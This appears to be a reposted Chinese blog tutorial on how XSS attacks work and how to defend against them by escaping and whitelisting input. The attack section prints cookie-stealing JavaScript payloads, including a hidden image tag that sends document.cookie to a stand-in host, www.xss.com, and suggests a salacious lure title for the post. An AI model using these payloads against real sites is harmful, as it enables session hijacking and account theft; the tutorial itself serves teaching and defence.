博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
XSS攻击原理及防御措施
阅读量:5077 次
发布时间:2019-06-12

本文共 1285 字,大约阅读时间需要 4 分钟。

一、XSS攻击原理  

  XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。  

  XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义 

  举例: 

 
  上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图: 
  当然我会将标题设计的非常吸引人点击,比如 “陈冠希艳照又有流出2012版(20P无码)” ,这样如果我将里面的alert换成恶意代码,比如: 
location.href='
http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。
这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果我写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人: 

var img = document.createElement('img');  img.src='http://www.xss.com?cookie='+document.cookie;  img.style.display='none';  document.getElementsByTagName('body')[0].appendChild(img);

  这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

 

二、防御措施

  • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
  • 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

 

 

转载于:https://www.cnblogs.com/shytong/p/5308641.html

你可能感兴趣的文章
mybatis-config.xml
查看>>
作业2
查看>>
Instruction on how to turn off Nisan engine warning light
查看>>
对比MySQL,你究竟在什么时候更需要MongoDB(转载)
查看>>
Centos7 yum install vim 出现“could not retrieve mirrorlist”
查看>>
3中断和异常
查看>>
[转]tx:advice标签简介
查看>>
spring的下载地址(转)
查看>>
modelsim 仿真clk,rst_n时出现Hiz
查看>>
Apache 配置文件管理
查看>>
易语言支持库 找不到指定的命令/子程序/Dll命令调用名称“取特定目录”。...
查看>>
test
查看>>
什么是IP核
查看>>
中位数的求法
查看>>
微软重建社区
查看>>
Vuejs 安装与配置
查看>>
对接口执行100次震荡的脚本
查看>>
最小生成树之克鲁斯卡尔算法
查看>>
CodeforcesGlobalRound2(Div.2)ABCE题解
查看>>
ARC
查看>>